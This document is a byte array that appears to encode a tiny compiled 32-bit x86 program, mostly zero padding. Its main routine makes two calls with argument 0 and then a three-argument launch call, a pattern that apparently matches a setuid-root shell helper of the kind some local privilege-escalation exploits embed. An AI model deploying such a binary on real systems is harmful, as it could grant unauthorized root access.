0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
243, 15, 30, 251, 83, 131, 236, 8, 232, 115, 0, 0, 0, 129, 195, 243,
47, 0, 0, 139, 131, 248, 255, 255, 255, 133, 192, 116, 2, 255, 208, 131,
196, 8, 91, 195, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
255, 179, 4, 0, 0, 0, 255, 163, 8, 0, 0, 0, 0, 0, 0, 0,
255, 163, 12, 0, 0, 0, 104, 0, 0, 0, 0, 233, 224, 255, 255, 255,
255, 163, 16, 0, 0, 0, 104, 8, 0, 0, 0, 233, 208, 255, 255, 255,
255, 163, 20, 0, 0, 0, 104, 16, 0, 0, 0, 233, 192, 255, 255, 255,
255, 163, 24, 0, 0, 0, 104, 24, 0, 0, 0, 233, 176, 255, 255, 255,
139, 28, 36, 195, 102, 144, 102, 144, 102, 144, 102, 144, 102, 144, 102, 144,
232, 228, 0, 0, 0, 129, 194, 107, 47, 0, 0, 141, 138, 32, 0, 0,
0, 141, 130, 32, 0, 0, 0, 57, 200, 116, 29, 139, 130, 240, 255, 255,
255, 133, 192, 116, 19, 85, 137, 229, 131, 236, 20, 81, 255, 208, 131, 196,
16, 201, 195, 141, 116, 38, 0, 144, 195, 141, 180, 38, 0, 0, 0, 0,
232, 164, 0, 0, 0, 129, 194, 43, 47, 0, 0, 85, 137, 229, 83, 141,
138, 32, 0, 0, 0, 141, 130, 32, 0, 0, 0, 131, 236, 4, 41, 200,
137, 195, 193, 232, 31, 193, 251, 2, 1, 216, 209, 248, 116, 20, 139, 146,
252, 255, 255, 255, 133, 210, 116, 10, 131, 236, 8, 80, 81, 255, 210, 131,
196, 16, 139, 93, 252, 201, 195, 141, 180, 38, 0, 0, 0, 0, 102, 144,
243, 15, 30, 251, 85, 137, 229, 83, 232, 83, 255, 255, 255, 129, 195, 211,
46, 0, 0, 131, 236, 4, 128, 187, 32, 0, 0, 0, 0, 117, 40, 139,
131, 244, 255, 255, 255, 133, 192, 116, 18, 131, 236, 12, 255, 179, 28, 0,
0, 0, 255, 147, 244, 255, 255, 255, 131, 196, 16, 232, 48, 255, 255, 255,
198, 131, 32, 0, 0, 0, 1, 139, 93, 252, 201, 195, 141, 116, 38, 0,
243, 15, 30, 251, 233, 87, 255, 255, 255, 139, 20, 36, 195, 85, 137, 229,
232, 134, 0, 0, 0, 5, 123, 46, 0, 0, 144, 93, 195, 85, 137, 229,
83, 131, 236, 52, 232, 231, 254, 255, 255, 129, 195, 103, 46, 0, 0, 139,
69, 8, 137, 69, 212, 101, 161, 20, 0, 0, 0, 137, 69, 244, 49, 192,
141, 131, 0, 224, 255, 255, 137, 69, 228, 199, 69, 232, 0, 0, 0, 0,
141, 131, 16, 224, 255, 255, 137, 69, 236, 199, 69, 240, 0, 0, 0, 0,
131, 236, 12, 106, 0, 232, 150, 254, 255, 255, 131, 196, 16, 131, 236, 12,
106, 0, 232, 89, 254, 255, 255, 131, 196, 16, 139, 69, 228, 131, 236, 4,
141, 85, 236, 82, 141, 85, 228, 82, 80, 232, 98, 254, 255, 255, 131, 196,
16, 131, 236, 12, 106, 0, 232, 69, 254, 255, 255, 139, 4, 36, 195, 0,
243, 15, 30, 251, 83, 131, 236, 8, 232, 99, 254, 255, 255, 129, 195, 227,
45, 0, 0, 131, 196, 8, 91, 195, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
